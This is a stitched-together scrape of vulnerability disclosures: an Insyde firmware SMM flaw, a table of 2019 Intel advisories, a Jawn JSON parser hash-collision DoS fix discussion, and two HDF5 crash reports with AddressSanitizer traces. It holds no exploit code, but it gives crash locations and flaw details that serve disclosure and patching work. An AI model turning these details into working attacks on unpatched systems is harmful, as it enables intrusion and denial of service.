An issue was discovered in IdeBusDxe in Insyde InsydeH2O with kernel 5.1 before 05.16.25, 5.2 before 05.26.25, 5.3 before 05.35.25, 5.4 before 05.43.25, and 5.5 before 05.51.25. A vulnerability exists in the SMM (System Management Mode) branch that registers a SWSMI handler that does not sufficiently check or validate the allocated buffer pointer (the status code saved at the CommBuffer+4 location).

**Common Vulnerabilities and Exposures (CVE)**

**CVSS v3 Vulnerability Severity**

**Description**

**Intel Security Advisory (SA)**

**Original Date**

**Last Revised**

CVE-2019-0170

8.2

Buffer overflow in subsystem in Intel(R) Dynamic Application Loader before \[12.0.35\] may allow privileged user to potentially enable escalation of privilege via local access.

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0153

9.0

Buffer overflow in subsystem in Intel(R) CSME before 12.0.35 may allow unauthenticated user to potentially enable escalation of privilege via network access.

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0126

7.2

Insufficient access control in Silicon Reference firmware for Intel (R) Xeon (R) Scalable Processor, Intel (R) Xeon (R) Processor D Family may allow privileged user to potentially enable escalation of privilege or denial of service via local access

INTEL-SA-00223

05/14/2019

05/14/2019

CVE-2019-0120

5.3

Insufficient key protection vulnerability in Silicon Reference firmware for Intel(R) Pentium(R) Processor J Series, Intel(R) Pentium(R) Processor N Series, Intel(R) Celeron(R) J Series, Intel(R) Celeron(R) N Series, Intel(R) Atom(R) Processor A Series, Intel(R) Atom(R) Processor E3900 Series, Intel(R) Pentium(R) Processor Silver Series may allow privileged user to potentially enable denial of service via local access.

INTEL-SA-00223

05/14/2019

05/14/2019

CVE-2019-0119

5.7

Buffer overflow vulnerability in system firmware for Intel (R) Xeon (R) Processor D Family, Intel (R) Xeon (R) Scalable Processor, Intel(R) Server Board, Intel(R) Server System and Intel(R) Compute Module may allow privileged user to potentially enable escalation of privilege or denial of service via local access.

INTEL-SA-00223

05/14/2019

05/14/2019

CVE-2019-0098

5.7

Logic bug vulnerability in subsystem for Intel(R) CSME before version 12.0.35, Intel(R) TXE before 3.1.65, 4.0.15may allow unauthenticated user to potentially enable escalation of privilege via physical access.

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0097

4.9

Insufficient input validation vulnerability in subsystem for Intel(R) Active Management Technology (Intel(R) AMT) before version 12.0.35 may allow privileged user to potentially enable denial of service via network access.

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0096

6.7

Out of bound write vulnerability in subsystem for Intel(R) Active Management Technology (Intel(R) AMT) before versions 11.8.65, 11.11.65, 11.22.65, 12.0.35 may allow authenticated user to potentially enable escalation of privilege via adjacent network access.

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0094

4.3

Insufficient input validation vulnerability in subsystem for Intel(R) Active Management Technology (Intel(R) AMT) before versions 11.8.65, 11.11.65, 11.22.65, 12.0.35 may allow unauthenticated user to potentially enable denial of service via adjacent network access

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0093

2.3

Insufficient data sanitization vulnerability in HECI subsystem for Intel(R) CSME before versions 11.8.65, 11.11.65, 11.22.65, 12.0.35, Intel(R) Server Platform Services before version SPS\_E3\_05.00.04.027.0 may allow privileged user to potentially enable information disclosure via local access

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0092

6.8

Insufficient input validation vulnerability in subsystem for Intel(R) Active Management Technology (Intel(R) AMT) before versions 11.8.65, 11.11.65, 11.22.65, 12.0.35 may allow unauthenticated user to potentially enable escalation of privilege via physical access

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0091

6.6

Code injection vulnerability in installer for Intel(R) CSME before versions 11.8.65, 11.11.65, 11.22.65, 12.0.35 and Intel(R) TXE 3.1.65, 4.0.15 may allow unprivileged user to potentially enable escalation of privilege via local access.

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0086

7.8

Insufficient access control vulnerability in Dynamic Application Loader software for Intel(R) CSME before versions 11.8.65, 11.11.65, 11.22.65, 12.0.35 and Intel(R) TXE 3.1.65, 4.0.15 may allow unprivileged user to potentially enable escalation of privilege via local access

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0090

7.1

Insufficient access control vulnerability in subsystem for Intel(R) CSME before version 12.0.35, Intel(R) Server Platform Services before version SPS\_E3\_05.00.04.027.0 may allow unauthenticated user to potentially enable escalation of privilege via physical access

INTEL-SA-00213

05/14/2019

04/14/2020

CVE-2019-0089

8.1

Improper data sanitization vulnerability in subsystem in Intel(R) Server Platform Services before versions SPS\_E5\_04.00.04.381.0, SPS\_E3\_04.01.04.054.0, SPS\_SoC-A\_04.00.04.181.0, and SPS\_SoC-X\_04.00.04.086.0 may allow privileged user to potentially enable escalation of privilege via local access

INTEL-SA-00213

05/14/2019

04/14/2020

N/A

4.3

Type confusion in HECI service for Intel(R) Server Platform Services Tools may allow authenticated user to potentially enable escalation of privilege via local access.

N/A

03/04/2019

\-

CVE-2018-11091

3.8

Microarchitectural Data Sampling Uncacheable Memory (MDSUM): Uncacheable memory on some microprocessors utilizing speculative execution may allow an authenticated user to potentially enable information disclosure via a side channel with local access

INTEL-SA-00233

05/14/2019

07/14/2020

CVE-2018-12130

6.5

Microarchitectural Fill Buffer Data Sampling (MFBDS): Fill buffers on some microprocessors utilizing speculative execution may allow an authenticated user to potentially enable information disclosure via a side channel with local access.

INTEL-SA-00233

05/14/2019

07/14/2020

CVE-2018-12127

6.5

Microarchitectural Load Port Data Sampling (MLPDS): Load ports on some microprocessors utilizing speculative execution may allow an authenticated user to potentially enable information disclosure via a side channel with local access.

INTEL-SA-00233

05/14/2019

07/14/2020

CVE-2021-45970: Insyde's Security Pledge | Insyde Software

Jawn is an open source JSON parser. Extenders of the `org.typelevel.jawn.SimpleFacade` and `org.typelevel.jawn.MutableFacade` who don't override `objectContext()` are vulnerable to a hash collision attack which may result in a denial of service.  Most applications do not implement these traits directly, but inherit from a library. `jawn-parser-1.3.1` fixes this issue and users are advised to upgrade. For users unable to upgrade override `objectContext()` to use a collision-safe collection.

I haven't looked deep at the implementations for how Circe or Play do that wrapping. But I'd guess that they turn the java map into some non-map type (I vaguely remember play is a Seq of tuples or something?), or have expensive mutations (cloning the underlying mutable map each time), or do something like `scala.collection.JavaConverters` `.toScala.toMap`, which would convert to the default HAMT and expose the vuln (I think Circe does on mutation).  
None of the above are ideal; for my use case at least. Users would find the map follows the contract, but wouldn't perform as one would assume. So at the end of the day we need a safe immutable map and `TreeMap` is the only one I'm aware of.  
Is there a way to more quickly build a different structure and then convert to `TreeMap`?

Unfortunately there's no immutable `CollisionProofHashMap`, so I think that leaves us in about the same situation as the java `java.util.HashMap` wrapped using `JavaConverters`.  
I think the ideal solution would be an immutable `CollisionProofHashMap` in the standard library (and added to collections compat), but short of that `TreeMap` seems like what we're left with.

Let me know if that all sounds correct

CVE-2022-21653: Use TreeMap in SimpleFacade to solve DoS vuln by kag0 · Pull Request #390 · typelevel/jawn

A Stack-based Buffer Overflow Vulnerability exists in HDF5 1.13.1-1 via the H5D__create_chunk_file_map_hyper function in /hdf5/src/H5Dchunk.c, which causes a Denial of Service (context-dependent).

**Version:**

**System information**

    Ubuntu 20.04.1 LTS, gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
    

**command:**

POC3.zip

**ASAN information**

    ================================================================
    ==3192859==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc401ba928 at pc 0x5582bd69885b bp 0x7ffc401b8720 sp 0x7ffc401b8710
    READ of size 8 at 0x7ffc401ba928 thread T0
        #0 0x5582bd69885a in H5D__create_chunk_file_map_hyper /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dchunk.c:1927
        #1 0x5582bd69885a in H5D__chunk_io_init_selections /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dchunk.c:1250
        #2 0x5582bd69885a in H5D__chunk_io_init /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dchunk.c:1129
        #3 0x5582bd14a71e in H5D__read /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dio.c:250
        #4 0x5582bd60459a in H5VL__native_dataset_read /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLnative_dataset.c:293
        #5 0x5582bd5d6442 in H5VL__dataset_read /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLcallback.c:2045
        #6 0x5582bd5d6442 in H5VL_dataset_read /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLcallback.c:2077
        #7 0x5582bd11da4d in H5D__read_api_common /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5D.c:968
        #8 0x5582bd11da4d in H5Dread /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5D.c:1020
        #9 0x5582bd04b454 in h5tools_dump_simple_dset /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/lib/h5tools_dump.c:1755
        #10 0x5582bd04b454 in h5tools_dump_dset /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/lib/h5tools_dump.c:1956
        #11 0x5582bd05fa5f in h5tools_dump_data /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/lib/h5tools_dump.c:4425
        #12 0x5582bd01bb3c in dump_dataset /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5dump/h5dump_ddl.c:1046
        #13 0x5582bd0245c1 in dump_all_cb /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5dump/h5dump_ddl.c:350
        #14 0x5582bd23d995 in H5G__iterate_cb /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gint.c:866
        #15 0x5582bd23d995 in H5G__iterate_cb /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gint.c:839
        #16 0x5582bd24e3ec in H5G__node_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gnode.c:967
        #17 0x5582bd67e5a3 in H5B__iterate_helper /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5B.c:1152
        #18 0x5582bd681cca in H5B_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5B.c:1194
        #19 0x5582bd25b699 in H5G__stab_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gstab.c:536
        #20 0x5582bd255216 in H5G__obj_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gobj.c:672
        #21 0x5582bd24061c in H5G_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gint.c:922
        #22 0x5582bd2dc94f in H5L_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Lint.c:2243
        #23 0x5582bd610f3e in H5VL__native_link_specific /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLnative_link.c:366
        #24 0x5582bd5e75fe in H5VL__link_specific /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLcallback.c:5305
        #25 0x5582bd5e75fe in H5VL_link_specific /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLcallback.c:5339
        #26 0x5582bd2cec7f in H5L__iterate_api_common /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5L.c:1659
        #27 0x5582bd2cec7f in H5Literate2 /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5L.c:1695
        #28 0x5582bd01acc1 in link_iteration /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5dump/h5dump_ddl.c:614
        #29 0x5582bd01acc1 in dump_group /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5dump/h5dump_ddl.c:886
        #30 0x5582bd00f1e0 in main /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5dump/h5dump.c:1547
        #31 0x7ff7f59ae0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #32 0x5582bd01520d in _start (/home/zxq/CVE_testing/source/hdf5-add/hdf5/build/bin/h5dump+0x17c20d)
    
    Address 0x7ffc401ba928 is located in stack of thread T0 at offset 8472 in frame
        #0 0x5582bd691fbf in H5D__chunk_io_init /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dchunk.c:1071
    
      This frame has 35 object(s):
        [32, 33) 'bogus' (line 1166)
        [48, 56) 'udata' (line 1256)
        [80, 88) 'tmp_fchunk' (line 1809)
        [112, 120) 'chunk_points' (line 2151)
        [144, 152) 'tmp_count' (line 2152)
        [176, 200) 'iter_op' (line 1255)
        [240, 264) 'iter_op' (line 1297)
        [304, 336) 'is_partial_dim' (line 1615)
        [368, 624) 'file_dims' (line 1605)
        [688, 944) 'zeros' (line 1607)
        [1008, 1264) 'coords' (line 1609)
        [1328, 1584) 'end' (line 1610)
        [1648, 1904) 'scaled' (line 1611)
        [1968, 2224) 'curr_partial_clip' (line 1613)
        [2288, 2544) 'partial_dim_size' (line 1614)
        [2608, 2864) 'start_scaled' (line 1817)
        [2928, 3184) 'scaled' (line 1818)
        [3248, 3504) 'file_sel_start' (line 1987)
        [3568, 3824) 'file_sel_end' (line 1988)
        [3888, 4144) 'mem_sel_start' (line 1989)
        [4208, 4464) 'mem_sel_end' (line 1990)
        [4528, 4784) 'adjust' (line 1991)
        [4848, 5104) 'coords' (line 2036)
        [5168, 5424) 'chunk_adjust' (line 2037)
        [5488, 5744) 'mem_sel_start' (line 2140)
        [5808, 6064) 'mem_sel_end' (line 2141)
        [6128, 6392) 'old_offset' (line 1073)
        [6464, 6728) 'coords' (line 1520)
        [6800, 7064) 'sel_start' (line 1521)
        [7136, 7400) 'sel_end' (line 1522)
        [7472, 7736) 'sel_start' (line 1810)
        [7808, 8072) 'sel_end' (line 1811)
        [8144, 8408) 'start_coords' (line 1813)
        [8480, 8744) 'coords' (line 1814) <== Memory access at offset 8472 underflows this variable
        [8816, 9080) 'end' (line 1815)
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dchunk.c:1927 in H5D__create_chunk_file_map_hyper
    Shadow bytes around the buggy address:
      0x10000802f4d0: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f4f0: 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00
      0x10000802f500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f510: 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2 f2
    =>0x10000802f520: f2 f2 f2 f2 f2[f2]00 00 00 00 00 00 00 00 00 00
      0x10000802f530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f540: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x10000802f550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f570: 00 f3 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==3192859==ABORTING

CVE-2021-45833: stack-buffer-overflow at H5D__create_chunk_file_map_hyper /hdf5/src/H5Dchunk.c:1927 · Issue #1313 · HDFGroup/hdf5

A Stack-based Buffer Overflow Vulnerability exists in HDF5 1.13.1-1 at at hdf5/src/H5Eint.c, which causes a Denial of Service (context-dependent).

    Ubuntu 20.04.1 LTS, gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
    

    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==223590==ERROR: AddressSanitizer: stack-overflow on address 0x7ffee0f76f70 (pc 0x7fd7a0c52b99 bp 0x7ffee0f777c0 sp 0x7ffee0f76f60 T0)
        #0 0x7fd7a0c52b98 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10db98)
        #1 0x7fd7a088ccbd  (/lib/x86_64-linux-gnu/libc.so.6+0x8ecbd)
        #2 0x55d14d2e76d2 in vasprintf /usr/include/x86_64-linux-gnu/bits/stdio2.h:213
        #3 0x55d14d2e76d2 in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/
        #4 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #5 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #6 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #7 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #8 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #9 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #10 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #11 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #12 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #13 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #14 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #15 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #16 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #17 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #18 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #19 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #20 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #21 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #22 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #23 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #24 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #25 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #26 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #27 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #28 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #29 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #30 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #31 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #32 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #33 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #34 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #35 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #36 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #37 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #38 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #39 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #40 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #41 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #42 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #43 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #44 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #45 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #46 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326

Tag

#dos